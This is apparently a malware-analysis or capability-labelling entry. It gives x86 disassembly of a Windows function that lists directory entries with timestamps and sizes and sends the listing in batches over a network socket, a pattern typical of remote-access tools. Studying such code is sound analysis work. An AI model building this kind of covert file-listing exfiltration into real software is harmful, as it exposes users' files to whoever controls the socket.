Function at 0x40a600
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x460761
mov eax, dword fs:[0]
push eax
sub esp, 0x49c
mov eax, dword [0x4771c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x28]
call fcn.00411f70
mov dword [ebp - 4], 0
push 0x46d310
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x3e0]
push ecx
call fcn.0041aaf0
add esp, 0xc
mov dword [ebp - 0x39c], eax
lea edx, [ebp - 0x378]
push edx
mov ecx, dword [ebp - 0x39c]
call fcn.00411c20
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x390], eax
lea ecx, [ebp - 0x3e0]
call fcn.00411d10
nop
cmp dword [ebp - 0x390], 0xffffffff
jne 0x40a6a1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00411d10
nop
jmp 0x40ac35
mov dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x38c]
add eax, 1
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0xf9
jle 0x40a76b
push str._MID___
lea ecx, [ebp - 0x28]
call fcn.00411c90
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x78]
push edx
call fcn.00408790
add esp, 8
mov byte [ebp - 4], 1
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x3f8]
push ecx
call fcn.00408a10
add esp, 8
mov dword [ebp - 0x3a0], eax
mov edx, dword [ebp - 0x3a0]
push edx
lea ecx, [ebp - 0x78]
call fcn.00412160
lea ecx, [ebp - 0x3f8]
call fcn.00412140
nop
push 0
lea ecx, [ebp - 0x78]
call fcn.00411c00
push eax
lea ecx, [ebp - 0x78]
call fcn.00412080
push eax
mov eax, dword [0x47b850]
push eax
call dword [sym.imp.WS2_32.dll_send]
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x46d32c
lea ecx, [ebp - 0x28]
call fcn.00411cf0
mov dword [ebp - 0x38c], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x78]
call fcn.00412140
nop
lea ecx, [ebp - 0x34c]
push ecx
lea ecx, [ebp - 0x60]
call fcn.00411e60
mov byte [ebp - 4], 2
push 0x46d330
lea edx, [ebp - 0x60]
push edx
call fcn.0041aed0
add esp, 8
movzx eax, al
test eax, eax
jne 0x40a7ae
push 0x46d334
lea ecx, [ebp - 0x60]
push ecx
call fcn.0041aed0
add esp, 8
movzx edx, al
test edx, edx
je 0x40a7c0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x60]
call fcn.00411d10
nop
jmp 0x40ab73
push 0xb0
lea ecx, [ebp - 0x128]
call fcn.00401900
push 1
lea ecx, [ebp - 0x128]
call fcn.0040d930
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x378]
and eax, 0x10
je 0x40a802
push str._DIR___
lea ecx, [ebp - 0x118]
push ecx
call fcn.0041b270
add esp, 8
jmp 0x40a816
push str._FILE___
lea edx, [ebp - 0x118]
push edx
call fcn.0041b270
add esp, 8
push 0x46d368
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x410]
push ecx
call fcn.0041aaf0
add esp, 0xc
mov dword [ebp - 0x3a4], eax
mov edx, dword [ebp - 0x3a4]
mov dword [ebp - 0x3a8], edx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x3a8]
push eax
lea ecx, [ebp - 0x118]
push ecx
call fcn.0041b900
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x410]
call fcn.00411d10
nop
mov edx, dword [ebp - 0x364]
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x388]
push ecx
lea edx, [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
test eax, eax
je 0x40aa54
movzx eax, word [ebp - 0x37c]
push eax
push 0x30
lea ecx, [ebp - 0x3c6]
push ecx
call fcn.0041b930
add esp, 8
push eax
push 0
push 2
lea edx, [ebp - 0x468]
push edx
call fcn.00429d26
add esp, 0xc
push eax
push str.::___
movzx eax, word [ebp - 0x37e]
push eax
push 0x30
lea ecx, [ebp - 0x392]
push ecx
call fcn.0041b930
add esp, 8
push eax
push 0
push 2
lea edx, [ebp - 0x478]
push edx
call fcn.00429d26
add esp, 0xc
push eax
push 0x46d378
movzx eax, word [ebp - 0x380]
push eax
push 0x30
lea ecx, [ebp - 0x394]
push ecx
call fcn.0041b930
add esp, 8
push eax
push 0
push 2
lea edx, [ebp - 0x488]
push edx
call fcn.00429d26
add esp, 0xc
push eax
push 0x46d37c
movzx eax, word [ebp - 0x382]
push eax
push 0x30
lea ecx, [ebp - 0x396]
push ecx
call fcn.0041b930
add esp, 8
push eax
push 0
push 2
lea edx, [ebp - 0x498]
push edx
call fcn.00429d26
add esp, 0xc
push eax
push 0x46d380
movzx eax, word [ebp - 0x386]
push eax
push 0x30
lea ecx, [ebp - 0x398]
push ecx
call fcn.0041b930
add esp, 8
push eax
push 0
push 2
lea edx, [ebp - 0x4a8]
push edx
call fcn.00429d26
add esp, 0xc
push eax
push 0x46d384
movzx eax, word [ebp - 0x388]
push eax
lea ecx, [ebp - 0x118]
call fcn.0040dc00
push eax
call fcn.0041b270
add esp, 8
push eax
call fcn.0041b240
add esp, 8
push eax
call fcn.0041b950
add esp, 8
mov ecx, eax
call fcn.0040dc00
push eax
call fcn.0041b270
add esp, 8
push eax
call fcn.0041b240
add esp, 8
push eax
call fcn.0041b950
add esp, 8
mov ecx, eax
call fcn.0040dc00
push eax
call fcn.0041b270
add esp, 8
push eax
call fcn.0041b240
add esp, 8
push eax
call fcn.0041b950
add esp, 8
mov ecx, eax
call fcn.0040dc00
push eax
call fcn.0041b270
add esp, 8
push eax
call fcn.0041b240
add esp, 8
push eax
call fcn.0041b950
add esp, 8
mov ecx, eax
call fcn.0040dc00
push eax
call fcn.0041b270
add esp, 8
push eax
call fcn.0041b240
add esp, 8
push eax
call fcn.0041b950
add esp, 8
mov ecx, eax
call fcn.0040dc00
nop
jmp 0x40aa68
push 0x46d388
lea ecx, [ebp - 0x118]
push ecx
call fcn.0041b270
add esp, 8
mov edx, dword [ebp - 0x378]
and edx, 0x10
jne 0x40aafc
push str.__
lea eax, [ebp - 0x118]
push eax
call fcn.0041b270
add esp, 8
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x3b0], ecx
mov edx, dword [ebp - 0x358]
mov dword [ebp - 0x3b4], edx
mov eax, dword [ebp - 0x3b0]
push eax
mov ecx, dword [ebp - 0x3b4]
push ecx
lea edx, [ebp - 0x428]
push edx
call fcn.004046b0
add esp, 0xc
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x3c4], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x3c4]
push ecx
lea edx, [ebp - 0x118]
push edx
call fcn.0041b900
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x428]
call fcn.00411d10
nop
push str.___r_n
lea eax, [ebp - 0x118]
push eax
call fcn.0041b270
add esp, 8
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x128]
call fcn.0040d890
mov dword [ebp - 0x3c0], eax
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x3bc], edx
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x3bc]
push eax
lea ecx, [ebp - 0x28]
call fcn.00411cc0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00411d10
nop
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x128]
call fcn.0040a5d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x60]
call fcn.00411d10
nop
lea ecx, [ebp - 0x378]
push ecx
mov edx, dword [ebp - 0x390]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40a6ab
push str._END___
lea ecx, [ebp - 0x28]
call fcn.00411c90
mov eax, dword [ebp - 0x390]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x48]
push edx
call fcn.00408790
add esp, 8
mov byte [ebp - 4], 7
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x458]
push ecx
call fcn.00408a10
add esp, 8
mov dword [ebp - 0x3b8], eax
mov edx, dword [ebp - 0x3b8]
push edx
lea ecx, [ebp - 0x48]
call fcn.00412160
lea ecx, [ebp - 0x458]
call fcn.00412140
nop
push 0
lea ecx, [ebp - 0x48]
call fcn.00411c00
push eax
lea ecx, [ebp - 0x48]
call fcn.00412080
push eax
mov eax, dword [0x47b850]
push eax
call dword [sym.imp.WS2_32.dll_send]
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.00412140
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00411d10
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043d0e7
mov esp, ebp
pop ebp
ret